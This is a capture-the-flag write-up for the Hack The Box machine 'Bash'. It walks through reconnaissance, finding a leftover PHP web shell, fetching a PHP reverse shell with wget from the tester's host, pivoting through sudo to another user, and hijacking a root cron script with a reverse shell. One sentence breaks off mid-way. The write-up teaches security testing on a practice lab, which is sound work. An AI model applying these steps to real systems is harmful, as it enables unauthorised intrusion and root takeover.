HTB: Bash Writeup w/o Metasploit
Reconnaissance
First things first, let’s kick off an nmap scan to see what services/ports may be available.

We can see that port 80 is the only port available at the moment. This could make the day easy or difficult. After looking around on the website we didn’t find any information to gain access to the server. So what next? Since we’re dealing with a webserver let’s run gobuster, a directory scan.

Enumeration
Gobuster shows us a few other urls. Going through them step by step we find some interesting php scripts under /dev. The scripts give us shell access to the server. Since it’s under “dev” this access may have been setup during development of the webpage. The developers probably forgot to remove this directory before putting the webservers in production.

With the access we get as www-data we are able to read the user.txt flag.

Privilege Escalation
We don’t have permission to access the root directory. After some enumeration we eventually learned that this account (www-data) has sudo privilege to use the scriptmanager account. However, we weren’t able to switch users from the web browser. So we used python to create a webserver (python -m http.server 8000) on our local host to host a reverse php shell. Afterwards we used wget (wget http://10.10.14.13:8000/tiny.php) to retrieve the script from our session, and launch it by accessing the it’s web page (10.10.10.68/uploads/tiny.php).

After getting shell access, we do our default check of our permissions using “sudo -l.”

You can see we are able to run commands as the scriptmanager user. So let’s switch over to that account with “sudo -u scriptmanager /bin/bash.”

After doing more enumeration (you can probably run linpeas.sh here as well) we found a scripts directory under root.

There is a python script here (test.py)that is opening a file called “test.txt” and then writing to it. And we have write permissions to the file. Also, if you pay attention, you’ll notice that the test.txt file is being updated every minute. I tried to check the cronjobs but there’s nothing for the users we have access to. But there has to be a job running the python script every minute. And since the file is updated every minute with root as the user and group, I’m assuming there’s a root cronjob that’s running the python file.
If our assumptions on root running the cronjob is right, then all we should have to do here is change the contents of test.py and let the cronjob run it to get root access. We just have to start up a python server, from our local machine, to host a test.py file containing a reverse python script.

After transferring the file we could use netcat to start up a listener to waiting for the cronjob to

Conclusion
There wasn’t too many loopholes here. The vulnerability was the php script left behind by the “developers.” Abusing that allowed us to transfer a php shell to gain access. After gaining access we learned that www-data has sudo privilege to run commands as scriptmanager. Switching to scriptmanager and assessing the /scripts directory, we were able to swap out the contents of test.py (running from a cronjob) with our python reverse shell from here.